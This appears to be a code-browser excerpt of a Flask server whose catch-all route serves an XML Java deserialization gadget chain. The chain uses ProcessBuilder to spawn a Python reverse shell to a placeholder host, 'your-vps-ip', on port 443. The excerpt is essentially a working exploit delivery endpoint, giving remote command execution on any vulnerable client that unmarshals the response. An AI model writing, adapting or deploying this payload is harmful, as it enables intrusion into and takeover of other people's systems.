(path)
| 10 | @app.route('/', defaults={'path': ''}) |
| 11 | @app.route('/<path:path>', methods=['GET', 'POST']) |
| 12 | def catch_all(path): |
| 13 | xml = """<linked-hash-set> |
| 14 | <jdk.nashorn.internal.objects.NativeString> |
| 15 | <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> |
| 16 | <dataHandler> |
| 17 | <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> |
| 18 | <is class="javax.crypto.CipherInputStream"> |
| 19 | <cipher class="javax.crypto.NullCipher"> |
| 20 | <serviceIterator class="javax.imageio.spi.FilterIterator"> |
| 21 | <iter class="javax.imageio.spi.FilterIterator"> |
| 22 | <iter class="java.util.Collections$EmptyIterator"/> |
| 23 | <next class="java.lang.ProcessBuilder"> |
| 24 | <command> |
| 25 | <string>/bin/bash</string> |
| 26 | <string>-c</string> |
| 27 | <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> |
| 28 | </command> |
| 29 | <redirectErrorStream>false</redirectErrorStream> |
| 30 | </next> |
| 31 | </iter> |
| 32 | <filter class="javax.imageio.ImageIO$ContainsFilter"> |
| 33 | <method> |
| 34 | <class>java.lang.ProcessBuilder</class> |
| 35 | <name>start</name> |
| 36 | <parameter-types/> |
| 37 | </method> |
| 38 | <name>foo</name> |
| 39 | </filter> |
| 40 | <next class="string">foo</next> |
| 41 | </serviceIterator> |
| 42 | <lock/> |
| 43 | </cipher> |
| 44 | <input class="java.lang.ProcessBuilder$NullInputStream"/> |
| 45 | <ibuffer></ibuffer> |
| 46 | </is> |
| 47 | </dataSource> |
| 48 | </dataHandler> |
| 49 | </value> |
| 50 | </jdk.nashorn.internal.objects.NativeString> |
| 51 | </linked-hash-set>""" |
| 52 | return Response(xml, mimetype='application/xml') |
| 53 | |
| 54 | |
| 55 | if __name__ == "__main__": |
nothing calls this directly
no outgoing calls
no test coverage detected